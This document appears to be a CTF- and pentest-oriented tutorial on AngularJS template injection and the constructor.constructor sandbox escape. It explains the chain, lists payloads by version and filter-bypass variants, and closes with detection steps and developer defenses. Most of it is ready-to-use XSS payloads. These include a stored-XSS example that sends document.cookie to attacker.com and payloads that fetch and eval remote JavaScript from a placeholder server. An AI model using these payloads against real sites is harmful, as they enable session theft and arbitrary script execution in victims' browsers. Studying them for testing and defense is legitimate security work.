AngularJS Template Injection: constructor.constructor Sandbox Escape
Overview
Angular Template Injection (also called Angular Expression Injection) occurs when user input is rendered within Angular’s template expressions {{}} without proper sanitization. This vulnerability allows attackers to execute arbitrary JavaScript code through Angular’s expression evaluation.
The Vulnerability
If an application renders user input like this:
<h1>{{user_input}}</h1>
And the input isn’t sanitized, you can inject Angular expressions that get evaluated by the framework.
Critical Requirement: ng-app
IMPORTANT: The ng-app directive MUST be present for Angular injection to work.
With ng-app (Vulnerable)
<body ng-app>
<h1>{{constructor.constructor('alert(1)')()}}</h1>
</body>
Result: Angular bootstraps, evaluates the expression, and executes alert(1)
Without ng-app (Not Vulnerable to Angular Injection)
<body>
<h1>{{constructor.constructor('alert(1)')()}}</h1>
</body>
Result: The literal text is displayed - Angular doesn’t initialize, so no code execution
Testing for Angular
Before exploiting, verify Angular is active:
Test payload: {{1+1}}
- If it shows
2-> Angular is active and evaluating expressions - If it shows
{{1+1}}-> No Angular, injection won’t work
Check for ng-app in source:
<html ng-app>
<body ng-app>
<div ng-app="myApp">
Browser console check:
angular.version // Shows version if Angular is active
The constructor.constructor Attack
This is the most common sandbox escape technique for Angular 1.2+.
Understanding the Chain
Every JavaScript object has a constructor property pointing to the function that created it:
"hello".constructor === String // true
[].constructor === Array // true
({}).constructor === Object // true
When you access .constructor on a function, you get the Function constructor:
String.constructor === Function // true
Array.constructor === Function // true
Object.constructor === Function // true
The Full Exploitation Chain
{{constructor.constructor('alert(1)')()}}
Step-by-step breakdown:
constructor-> Angular’s scope object constructor (usually Object).constructor-> Object.constructor -> Function constructor('alert(1)')-> Creates a new function with codealert(1)()-> Executes that function immediately
This is equivalent to:
var scope = {}; // Angular scope
var ObjectConstructor = scope.constructor; // Object
var FunctionConstructor = ObjectConstructor.constructor; // Function
var maliciousFunc = FunctionConstructor('alert(1)'); // Create function
maliciousFunc(); // Execute it
Why This Bypasses Angular’s Sandbox
Angular 1.x tried to block dangerous operations by:
- Blacklisting
window,document,eval - Restricting property access
- Parsing expressions to block dangerous patterns
But they missed constructor.constructor because:
constructoris a legitimate property used everywhere in JavaScript- The chain abuse wasn’t anticipated
- It’s nearly impossible to distinguish legitimate from malicious use
Payloads by Angular Version
AngularJS 1.0.x - 1.1.5 (Ancient)
{{constructor.constructor('alert(1)')()}}
Or even simpler (no sandbox yet):
{{alert(1)}}
AngularJS 1.2.x - 1.5.x (Common in CTFs)
Basic sandbox escape:
{{constructor.constructor('alert(1)')()}}
Alternative constructor access:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}}
Using array methods:
{{[].pop.constructor('alert(1)')()}}
Explanation: [].pop is a Function, so .constructor gives us Function constructor
AngularJS 1.6+ (Stricter Sandbox)
{{constructor.constructor('alert(1)')()}}
{{[].pop.constructor('alert(1)')()}}
Angular 2+ (Modern)
Angular 2+ has much better protection:
- Removed the expression sandbox entirely (it was insecure)
- Requires template compilation (no runtime eval)
- Proper sanitization by default
- Content Security Policy enforcement
Most DOM XSS vectors are blocked unless there’s a specific vulnerability in the application code.
Top CTF Payloads (In Order of Reliability)
1. Most Reliable for AngularJS 1.2+
{{constructor.constructor('alert(1)')()}}
2. If constructor is Filtered
{{[].pop.constructor('alert(1)')()}}
3. With Function Name Stored First
{{x=constructor.constructor('alert(1)');x()}}
4. Using toString Manipulation
{{''.constructor.prototype.charAt=[].join;$eval('x=alert(1)')}}
5. For Calling print() from CTF
{{constructor.constructor('print()')()}}
6. Loading Remote print() Function
{{constructor.constructor('fetch("//YOUR-SERVER/exploit.js").then(r=>r.text()).then(eval)')()}}
Or using script element creation:
{{constructor.constructor('var s=document.createElement("script");s.src="//YOUR-SERVER/exploit.js";document.body.appendChild(s)')()}}
Filter Bypass Techniques
Bypassing “constructor” Blacklist
Using bracket notation:
{{['constructor']['constructor']('alert(1)')()}}
Using string concatenation:
{{this['cons'+'tructor']['cons'+'tructor']('alert(1)')()}}
Unicode escaping:
{{\u0063onstructor.constructor('alert(1)')()}}
Breaking Out of Quotes
If your input is inside quotes:
'}}{{constructor.constructor('alert(1)')()}}{{'
Multi-Stage Execution
{{x='alert';constructor.constructor(x+'(1)')()}}
URL Encoding
If needed for GET parameters:
%7B%7Bconstructor.constructor('alert(1)')()%7D%7D
Common CTF Patterns
Pattern 1: Direct Injection in URL
URL: https://site.com/search?q={{constructor.constructor('alert(1)')()}}
Renders: <h1>{{constructor.constructor('alert(1)')()}}</h1>
Pattern 2: Reflection in Template
<body ng-app>
<h1>Welcome {{username}}!</h1>
</body>
Payload: {{constructor.constructor('alert(1)')()}}
Pattern 3: Stored XSS in Angular App
Submit payload in a form field that gets stored and later rendered:
{{constructor.constructor('document.location="http://attacker.com/?c="+document.cookie')()}}
Why Sandboxing JavaScript is Nearly Impossible
This attack demonstrates fundamental challenges:
- Prototype chains are core to JavaScript - You can’t remove them
- Can’t easily block legitimate property access -
constructoris used everywhere - Countless ways to reach dangerous constructors - String, Array, Object, Function all lead to Function constructor
- JavaScript is too dynamic - Property access can be computed, concatenated, unicode-escaped, etc.
The lesson: Don’t try to sandbox JavaScript. Properly escape and sanitize output instead.
Detection and Verification
Step 1: Detect Angular
Look for:
ng-appdirective in HTMLng-controller,ng-model, etc.{{}}expressions in source- Angular libraries in
<script>tags
Step 2: Test Basic Expression
{{1+1}}
Should render as 2 if Angular is active.
Step 3: Test Constructor Access
{{constructor}}
If this displays [object Object] or similar, constructor access works.
Step 4: Escalate to Code Execution
{{constructor.constructor('alert(1)')()}}
Real-World Example
Vulnerable application:
<!DOCTYPE html>
<html ng-app>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.9/angular.min.js"></script>
</head>
<body>
<h1>Search Results for: {{searchQuery}}</h1>
</body>
</html>
Attack:
GET /search?q={{constructor.constructor('alert(document.domain)')()}}
Result: Alert box showing the domain name
Alternative Payload Chains
All of these reach the Function constructor:
// Using strings
{{''.constructor.constructor('alert(1)')()}}
// Using arrays
{{[].constructor.constructor('alert(1)')()}}
// Using objects
{{({}).constructor.constructor('alert(1)')()}}
// Using pop method
{{[].pop.constructor('alert(1)')()}}
// Using join method
{{[].join.constructor('alert(1)')()}}
// Using slice method
{{''.slice.constructor('alert(1)')()}}
Defense and Prevention
For Developers
- Never render user input in Angular templates without sanitization
- Use Angular 2+ which has better built-in protections
- Implement Content Security Policy (CSP) to block inline script execution
- Sanitize all user input before rendering
- Use Angular’s built-in sanitization (
$sanitizeservice) - Avoid dynamic template compilation with user input
For Pentesters
- Always check for
ng-appdirective first - Test with
{{1+1}}to verify Angular is active - Start with basic
constructor.constructorpayload - If blocked, try alternative chains (
[].pop.constructor, etc.) - Use encoding and concatenation for filter bypasses
- Document the Angular version for your report
Key Takeaways
- ng-app is required - Without it, Angular doesn’t bootstrap and injections fail
- constructor.constructor is the key - It gives access to Function constructor
- Sandbox escapes are necessary - Angular 1.2+ blocks direct dangerous functions
- Multiple chains exist - If one is blocked, try alternative property chains
- Modern Angular is safer - Angular 2+ removed the sandbox and improved security
- Proper sanitization is essential - Sandboxing JavaScript is nearly impossible